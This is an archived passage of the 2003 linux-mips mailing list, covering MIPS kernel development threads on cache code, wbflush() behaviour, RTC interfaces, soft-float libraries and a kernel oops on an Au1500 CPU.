X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kevink@mips.com
Precedence: bulk
X-list: linux-mips

I remember that some of the Toshiba parts of the TX39 series
had some interesting quirks relating to the write buffer.  Perhaps
some of these were carried into the TX49 series as well?

----- Original Message ----- 
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: <linux-mips@linux-mips.org>
Cc: <source@mvista.com>
Sent: Tuesday, April 15, 2003 4:22 PM
Subject: wbflush() abuse for TOSHIBA_RBTX4927


> Hello,
> 
>  I see wbflush() is abused in an interesting and inefficient way for
> TOSHIBA_RBTX4927.  Is there any specific reason for such a setup?
> 
>   Maciej
> 
> -- 
> +  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
> +--------------------------------------------------------------+
> +        e-mail: macro@ds2.pg.gda.pl, PGP key available        +
> 
> 
> 

From ralf@linux-mips.net Tue Apr 15 16:01:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 16:02:00 +0100 (BST)
Received: from p508B74BA.dip.t-dialin.net ([IPv6:::ffff:80.139.116.186]:64663
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225268AbTDOPB7>; Tue, 15 Apr 2003 16:01:59 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3FF1sM09613;
	Tue, 15 Apr 2003 17:01:54 +0200
Date: Tue, 15 Apr 2003 17:01:54 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Chris Dearman <chris@mips.com>
Cc: linux-mips@linux-mips.org
Subject: Re: [PATCH] waybit not set for MIPS32/MIPS64 caches
Message-ID: <20030415170154.A9601@linux-mips.org>
References: <3E9C02A8.4090008@mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9C02A8.4090008@mips.com>; from chris@mips.com on Tue, Apr 15, 2003 at 02:01:28PM +0100
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2059
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 02:01:28PM +0100, Chris Dearman wrote:

>    The unified cache code (c-r4k.c) does not set the waybit for 
> MIPS32/MIPS64 processors.  This patch needs to be applied to 
> {mips,mips64}/mm/c-r4k.c in 2.4 and 2.5.

Thanks, applied.

  Ralf

From anemo@mba.ocn.ne.jp Tue Apr 15 16:08:45 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 16:08:46 +0100 (BST)
Received: from mba.ocn.ne.jp ([IPv6:::ffff:210.190.142.172]:1479 "HELO
	smtp.mba.ocn.ne.jp") by linux-mips.org with SMTP
	id <S8225202AbTDOPIp>; Tue, 15 Apr 2003 16:08:45 +0100
Received: from localhost (p6041-ip02funabasi.chiba.ocn.ne.jp [219.96.148.41])
	by smtp.mba.ocn.ne.jp (Postfix) with ESMTP
	id 55AD8112D; Wed, 16 Apr 2003 00:08:36 +0900 (JST)
Date: Wed, 16 Apr 2003 00:15:09 +0900 (JST)
Message-Id: <20030416.001509.59462441.anemo@mba.ocn.ne.jp>
To: ralf@linux-mips.org
Cc: nemoto@toshiba-tops.co.jp, linux-mips@linux-mips.org
Subject: Re: End c-tx49.c's misserable existence
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
In-Reply-To: <20030414174825.A9808@linux-mips.org>
References: <20030414055038.A29923@linux-mips.org>
	<20030414.152903.41628304.nemoto@toshiba-tops.co.jp>
	<20030414174825.A9808@linux-mips.org>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2060
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

>>>>> On Mon, 14 Apr 2003 17:48:25 +0200, Ralf Baechle <ralf@linux-mips.org> said:

>> One more request.  Please enclose R4600_V1_HIT_CACHEOP_WAR and
>> R4600_V2_HIT_CACHEOP_WAR with appropriate CONFIG_CPU_XXX.  I do not
>> know what CPUs need this workaround... (at least TX49 does not need
>> this)

ralf> I'll leave it unconditionally enabled for now because the
ralf> Makefiles could behave in undefined ways if multiple
ralf> CONFIG_CPU_* options are selected and quite a few systems
ralf> support both the R4600 and other processors like the Indy.
ralf> Another day.

I have been misunderstood that people who needs the workaround always
select CONFIG_CPU_R4X00.  But it is not true.  Now I understand.

But recent reorganization increased a number of c-r4k.c users
somewhat.  How about introducing new config macros such as
CONFIG_R4600_V1_WORKAROUNDS ?

---
Atsushi Nemoto

From ralf@linux-mips.net Tue Apr 15 16:32:07 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 16:32:08 +0100 (BST)
Received: from p508B74BA.dip.t-dialin.net ([IPv6:::ffff:80.139.116.186]:29336
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225268AbTDOPcH>; Tue, 15 Apr 2003 16:32:07 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3FFJJE09957;
	Tue, 15 Apr 2003 17:19:19 +0200
Date: Tue, 15 Apr 2003 17:19:19 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: nemoto@toshiba-tops.co.jp, linux-mips@linux-mips.org
Subject: Re: End c-tx49.c's misserable existence
Message-ID: <20030415171919.A9902@linux-mips.org>
References: <20030414055038.A29923@linux-mips.org> <20030414.152903.41628304.nemoto@toshiba-tops.co.jp> <20030414174825.A9808@linux-mips.org> <20030416.001509.59462441.anemo@mba.ocn.ne.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030416.001509.59462441.anemo@mba.ocn.ne.jp>; from anemo@mba.ocn.ne.jp on Wed, Apr 16, 2003 at 12:15:09AM +0900
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2061
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 12:15:09AM +0900, Atsushi Nemoto wrote:
> Date:	Wed, 16 Apr 2003 00:15:09 +0900 (JST)
> To:	ralf@linux-mips.org
> Cc:	nemoto@toshiba-tops.co.jp, linux-mips@linux-mips.org
> Subject: Re: End c-tx49.c's misserable existence
> From:	Atsushi Nemoto <anemo@mba.ocn.ne.jp>
> Content-Type: Text/Plain; charset=us-ascii
> 
> >>>>> On Mon, 14 Apr 2003 17:48:25 +0200, Ralf Baechle <ralf@linux-mips.org> said:
> 
> >> One more request.  Please enclose R4600_V1_HIT_CACHEOP_WAR and
> >> R4600_V2_HIT_CACHEOP_WAR with appropriate CONFIG_CPU_XXX.  I do not
> >> know what CPUs need this workaround... (at least TX49 does not need
> >> this)
> 
> ralf> I'll leave it unconditionally enabled for now because the
> ralf> Makefiles could behave in undefined ways if multiple
> ralf> CONFIG_CPU_* options are selected and quite a few systems
> ralf> support both the R4600 and other processors like the Indy.
> ralf> Another day.
> 
> I have been misunderstood that people who needs the workaround always
> select CONFIG_CPU_R4X00.  But it is not true.  Now I understand.
> 
> But recent reorganization increased a number of c-r4k.c users
> somewhat.  How about introducing new config macros such as
> CONFIG_R4600_V1_WORKAROUNDS ?

That's all part of the Great Plan.  For now you can control many of the
workarounds in <asm/war.h>.

  Ralf

From justinca@cs.cmu.edu Tue Apr 15 16:49:58 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 16:49:59 +0100 (BST)
Received: from UX3.SP.CS.CMU.EDU ([IPv6:::ffff:128.2.198.103]:46209 "HELO
	ux3.sp.cs.cmu.edu") by linux-mips.org with SMTP id <S8225268AbTDOPt6>;
	Tue, 15 Apr 2003 16:49:58 +0100
Received: from GS256.SP.CS.CMU.EDU ([128.2.199.27]) by ux3.sp.cs.cmu.edu
          id aa01769; 15 Apr 2003 11:49 EDT
Subject: Re: Soft floating point on 5K
From: Justin Carlson <justinca@cs.cmu.edu>
To: Dennis Castleman <DennisCastleman@oaktech.com>
Cc: linux-mips@linux-mips.org
In-Reply-To: <16027.58679.576152.853200@gladsmuir.mips.com>
References: <56BEF0DBC8B9D611BFDB00508B5E2634102F07@TLEXMAIL>
	 <16027.58679.576152.853200@gladsmuir.mips.com>
Content-Type: text/plain
Organization: 
Message-Id: <1050421778.1988.23.camel@gs256.sp.cs.cmu.edu>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 15 Apr 2003 11:49:38 -0400
Content-Transfer-Encoding: 7bit
Return-Path: <justinca@cs.cmu.edu>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2062
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: justinca@cs.cmu.edu
Precedence: bulk
X-list: linux-mips

On Tue, 2003-04-15 at 06:55, Dominic Sweetman wrote:
> Dennis Castleman (DennisCastleman@oaktech.com) writes:
> 
> > I'm trying to run soft-floating point functions on a r5000 core with
> > a FPU. Without having to take the overhead of using a trap.  Using
> > the files fp-bit.c and dp-bit.c from the gcc source as a floating
> > point lib.  This implementation lack in accuracy in the least
> > signeficant bit multiplication in division operations.
> 
> There's an IEEE-compatible set of software floating point routines in
> the Linux kernel, invoked by the trap handler.  The routines were
> donated by Algorithmics (now part of MIPS Technologies).
>
> If you wrapped them in the appropriate GCC skins, they should give you
> a soft-float library which works better.
> 

I've found John Hauser's softfloat package to be an excellent resource
for such applications.  It's under a BSD licence, and can be found here:

http://www.jhauser.us/arithmetic/SoftFloat.html

I've been very happy with it in a couple of projects.  

-Justin



From macro@ds2.pg.gda.pl Tue Apr 15 17:25:05 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 17:25:06 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:36310 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225268AbTDOQZF>; Tue, 15 Apr 2003 17:25:05 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA17544;
	Tue, 15 Apr 2003 18:25:38 +0200 (MET DST)
Date: Tue, 15 Apr 2003 18:25:38 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Kevin D. Kissell" <kevink@mips.com>
cc: linux-mips@linux-mips.org, source@mvista.com
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
In-Reply-To: <00ae01c3035e$d431aba0$10eca8c0@grendel>
Message-ID: <Pine.GSO.3.96.1030415180933.13254I-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2063
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Tue, 15 Apr 2003, Kevin D. Kissell wrote:

> I remember that some of the Toshiba parts of the TX39 series
> had some interesting quirks relating to the write buffer.  Perhaps
> some of these were carried into the TX49 series as well?

 I suppose that's unrelated, since I'm specifically referring to the way
the buffer is handled in the TOSHIBA_RBTX4927 code -- the __wbflush()
backend is not invoked by wbflush() and calls like mb() (used by portable
drivers) unless the kernel is configured in an unobvious way and then
there is duplicate "sync" (but maybe that's needed, thus my question among
others). 

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Tue Apr 15 17:45:16 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 17:45:17 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:13015 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225268AbTDOQpQ>; Tue, 15 Apr 2003 17:45:16 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA17796;
	Tue, 15 Apr 2003 18:45:51 +0200 (MET DST)
Date: Tue, 15 Apr 2003 18:45:51 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: Re: [patch] cp0.config access macros
In-Reply-To: <20030415163558.B8778@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030415183753.13254K-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2064
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Tue, 15 Apr 2003, Ralf Baechle wrote:

> (I'm not sure if in case of the IC, IB, DC and DB bits this is not adding
> some confusion - the same bits with slightly different meaning or position
> exist in various processors so we may want some distinguishable names
> eventually)

 I've put specific macros for such bits in the R10k section.  These shared
among a few processors (and not necessarily only the ones you mention) 
could get different names to emphasize they are not really generic, but I
have no obvious candidate for an adequate prefix.  Any proposals? 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From jsun@mvista.com Tue Apr 15 19:34:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 19:34:02 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:49401 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225268AbTDOSeB>;
	Tue, 15 Apr 2003 19:34:01 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3FIXu811090;
	Tue, 15 Apr 2003 11:33:56 -0700
Date: Tue, 15 Apr 2003 11:33:56 -0700
From: Jun Sun <jsun@mvista.com>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Linux/MIPS Development <linux-mips@linux-mips.org>, jsun@mvista.com
Subject: Re: rtc_[gs]et_time()
Message-ID: <20030415113356.P1642@mvista.com>
References: <Pine.GSO.4.21.0304151021320.26578-100000@vervain.sonytel.be>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.GSO.4.21.0304151021320.26578-100000@vervain.sonytel.be>; from geert@linux-m68k.org on Tue, Apr 15, 2003 at 11:02:35AM +0200
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2065
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 11:02:35AM +0200, Geert Uytterhoeven wrote:
> 	Hi,
> 
> Is there any specific reason why the function pointers rtc_[gs]et_time() use
> seconds instead of struct rtc_time? Most RTCs store the date and time in a
> format similar to struct rtc_time, so they have to convert from seconds to
> struct rtc_time again. I found only 2 exceptions, namely the vr4181 RTC and the
> Lasat ds1630 RTC (BTW, I found no RTC driver for vr41xx, since
> vr41xx_rtc_get_time() is nowhere defined).
>

This interface is designed to 1) satisfy rtc need by system timer (see
arch/mips/kernel/time.c) and 2) provide abstract for vastly different 
RTC hardwares.  Using "second" is a nature choice to interface with xtime

There are quite a few different RTCs.  And I am sure there are others coming.
vr4181_rtc_get_time() is another example (which you missed :0)

Extending this interface to support user rtc driver (/dev/rtc) is desirable.
Since rtc driver is not called frequently, converting twice is not much a concern.

BTW, I think the wrapping function done in PPC for genrtc should just work
for MIPS. :)

Once genrtc is done for MIPS, we should remove mips_rtc driver.

Jun

From godzilla1357@yahoo.com Tue Apr 15 23:19:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 23:19:45 +0100 (BST)
Received: from web14503.mail.yahoo.com ([IPv6:::ffff:216.136.224.66]:27149
	"HELO web14503.mail.yahoo.com") by linux-mips.org with SMTP
	id <S8225278AbTDOWTh>; Tue, 15 Apr 2003 23:19:37 +0100
Message-ID: <20030415221914.47873.qmail@web14503.mail.yahoo.com>
Received: from [209.243.184.191] by web14503.mail.yahoo.com via HTTP; Tue, 15 Apr 2003 15:19:14 PDT
Date: Tue, 15 Apr 2003 15:19:14 -0700 (PDT)
From: Steve Taylor <godzilla1357@yahoo.com>
Subject: Basic cache questions
To: linux-mips@linux-mips.org
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1972951073-1050445154=:47718"
Return-Path: <godzilla1357@yahoo.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2067
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: godzilla1357@yahoo.com
Precedence: bulk
X-list: linux-mips
Content-Length: 2738
Lines: 23

--0-1972951073-1050445154=:47718
Content-Type: text/plain; charset=us-ascii

Hello All,   I am hoping some of you mips-linux gurus will be able to help me give me some tips and help me get started on some cache stuff which I want to do. (I know decently well about caches - but only at a theoretical Hennessy & Patterson level - and have just started looking under arch/mips/mm to familiarize myself with the mips-linux implementation).   Here's what I want to do - I have a CPU with 4 way SA I and D caches, and I want to write a module that will lock a certain memory region in these caches (for example, let's say I want to lock the ISR in the I-cache). So my questions are a) Is the kernel going to crash if I try to mess around with the caches like locking out a particular way of the cache or something like that? b) I'm sure there are many issues and complications involved in this that I probably havent even thought of  - any obvious and/or subtle pitfalls? and c) Do you think locking out, say, an entire way of a 4-way cache for a dedicated frequently used routine improves or degrades overall system performance?   TIA, -Steve.


---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-1972951073-1050445154=:47718
Content-Type: text/html; charset=us-ascii

<DIV>Hello All,</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; I am hoping some of you mips-linux gurus will be able to help me give me some tips and help me get started on some cache stuff which&nbsp;I want to do. (I know decently well about caches - but only at a theoretical Hennessy &amp; Patterson level - and have just started looking under arch/mips/mm to familiarize myself with the mips-linux implementation).</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp; Here's what I want to do - I have a CPU with 4 way SA I and D caches, and I want to write a module that will lock a certain memory region in these caches (for example, let's say I want to lock the ISR in the I-cache). So my questions are a) Is the kernel going to crash if I try to mess around with the caches like locking out a particular way of the cache or something like that? b) I'm sure there are many issues and complications involved in this that&nbsp;I probably havent even thought of &nbsp;- any obvious and/or subtle pitfalls? and c) Do you think locking out, say, an entire way of a 4-way cache for a dedicated frequently used routine improves or degrades overall system performance?&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;TIA,</DIV>
<DIV>&nbsp;</DIV>
<DIV>-Steve.</DIV><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-1972951073-1050445154=:47718--

From jsun@mvista.com Wed Apr 16 00:40:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 00:40:31 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:4343 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225278AbTDOXka> convert rfc822-to-8bit;
	Wed, 16 Apr 2003 00:40:30 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3FNeRQ25748;
	Tue, 15 Apr 2003 16:40:27 -0700
Date: Tue, 15 Apr 2003 16:40:27 -0700
From: Jun Sun <jsun@mvista.com>
To: Steve Taylor <godzilla1357@yahoo.com>
Cc: linux-mips@linux-mips.org, jsun@mvista.com
Subject: Re: Basic cache questions
Message-ID: <20030415164027.T1642@mvista.com>
References: <20030415221914.47873.qmail@web14503.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: 8BIT
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030415221914.47873.qmail@web14503.mail.yahoo.com>; from godzilla1357@yahoo.com on Tue, Apr 15, 2003 at 03:19:14PM -0700
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2068
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips
Content-Length: 1420
Lines: 13

On Tue, Apr 15, 2003 at 03:19:14PM -0700, Steve Taylor wrote:
> Hello All,   I am hoping some of you mips-linux gurus will be able to help me give me some tips and help me get started on some cache stuff which I want to do. (I know decently well about caches - but only at a theoretical Hennessy & Patterson level - and have just started looking under arch/mips/mm to familiarize myself with the mips-linux implementation).   Here's what I want to do - I have a CPU with 4 way SA I and D caches, and I want to write a module that will lock a certain memory region in these caches (for example, let's say I want to lock the ISR in the I-cache). So my questions are a) Is the kernel going to crash if I try to mess around with the caches like locking out a particular way of the cache or something like that? b) I'm sure there are many issues and complications involved in this that I probably havent even thought of  - any obvious and/or subtle pitfalls? and c) Do you think locking out, say, an entire way of a 4-way cache for a dedicated frequently used !
> !
> routine improves or degrades overall system performance?   TIA, -Steve.

If the cache locking can survive flushing, i.e., locked cache line
remained valid and locked even after cache invalidation ops, I guess
you are probably OK.

I have looked the performance issues with cache locking on a two-way
cache system.  There was not much performance gain.

Jun

From hartvig@ekner.info Wed Apr 16 08:53:12 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 08:53:44 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:37903 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225278AbTDPHxM>;
	Wed, 16 Apr 2003 08:53:12 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id AFAC2B4E4
	for <linux-mips@linux-mips.org>; Wed, 16 Apr 2003 09:53:05 +0200 (CEST)
Message-ID: <3E9D0C34.38FE2749@ekner.info>
Date: Wed, 16 Apr 2003 09:54:28 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: MIPS32 cache functions now using c-r4k?
Content-Type: multipart/alternative;
 boundary="------------3F31D38311D1520593E361CC"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2069
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips
Content-Length: 5770
Lines: 115


--------------3F31D38311D1520593E361CC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

On a MIPS32 CPU (Au1500), I now end up in:

Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Checking for 'wait' instruction...  available.
POSIX conformance testing by UNIFIX
Autoconfig PCI channel 0x802d0ab8
Scanning bus 00, I/O 0x00000300:0x00100000, Mem 0x40000000:0x44000000
Reserved instruction in kernel code in traps.c::do_ri, line 650:
$0 : 00000000 810e4000 802d0000 80109654 810e3000 802c4754 00000000 80000000
$8 : 8102e720 00000001 8010b98c c0000000 001fffff c0000000 fffffff4 00000010
$16: 810e3000 802d1340 802b9800 802bc000 00000000 00000000 00101000 00000000
$24: ffffffff 810ebde7                   810ea000 810ebd68 00000000 80121adc
Hi : 00000000
Lo : 000000c0
epc  : 8010965c    Not tainted
Status: 1000fc02
Cause : 00800028
Process swapper (pid: 1, stackpage=810ea000)

Which is:

80109654 <r4k_clear_page_d32>:
80109654:       24811000        addiu   $at,$a0,4096
80109658:       bc8d0000        cache   0xd,0($a0)
8010965c:       fc800000        sdc3    $0,0($a0)
80109660:       fc800008        sdc3    $0,8($a0)
80109664:       fc800010        sdc3    $0,16($a0)
80109668:       fc800018        sdc3    $0,24($a0)
8010966c:       24840040        addiu   $a0,$a0,64
80109670:       bc8dffe0        cache   0xd,-32($a0)
80109674:       fc80ffe0        sdc3    $0,-32($a0)
80109678:       fc80ffe8        sdc3    $0,-24($a0)
8010967c:       fc80fff0        sdc3    $0,-16($a0)
80109680:       1424fff5        bne     $at,$a0,80109658 <r4k_clear_page_d32+0x4>
80109684:       fc80fff8        sdc3    $0,-8($a0)
80109688:       03e00008        jr      $ra

It seems much of the r4k cache code assumes the presence of SD - which breaks on all MIPS32 CPU's?

/Hartvig


--------------3F31D38311D1520593E361CC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<tt>On a MIPS32 CPU (Au1500), I&nbsp;now end up in:</tt><tt></tt>
<p><tt>Mount cache hash table entries: 512 (order: 0, 4096 bytes)</tt>
<br><tt>Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)</tt>
<br><tt>Page-cache hash table entries: 16384 (order: 4, 65536 bytes)</tt>
<br><tt>Checking for 'wait' instruction...&nbsp; available.</tt>
<br><tt>POSIX conformance testing by UNIFIX</tt>
<br><tt>Autoconfig PCI channel 0x802d0ab8</tt>
<br><tt>Scanning bus 00, I/O 0x00000300:0x00100000, Mem 0x40000000:0x44000000</tt>
<br><tt>Reserved instruction in kernel code in traps.c::do_ri, line 650:</tt>
<br><tt>$0 : 00000000 810e4000 802d0000 80109654 810e3000 802c4754 00000000
80000000</tt>
<br><tt>$8 : 8102e720 00000001 8010b98c c0000000 001fffff c0000000 fffffff4
00000010</tt>
<br><tt>$16: 810e3000 802d1340 802b9800 802bc000 00000000 00000000 00101000
00000000</tt>
<br><tt>$24: ffffffff 810ebde7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
810ea000 810ebd68 00000000 80121adc</tt>
<br><tt>Hi : 00000000</tt>
<br><tt>Lo : 000000c0</tt>
<br><tt>epc&nbsp; : 8010965c&nbsp;&nbsp;&nbsp; Not tainted</tt>
<br><tt>Status: 1000fc02</tt>
<br><tt>Cause : 00800028</tt>
<br><tt>Process swapper (pid: 1, stackpage=810ea000)</tt><tt></tt>
<p><tt>Which is:</tt><tt></tt>
<p><tt>80109654 &lt;r4k_clear_page_d32>:</tt>
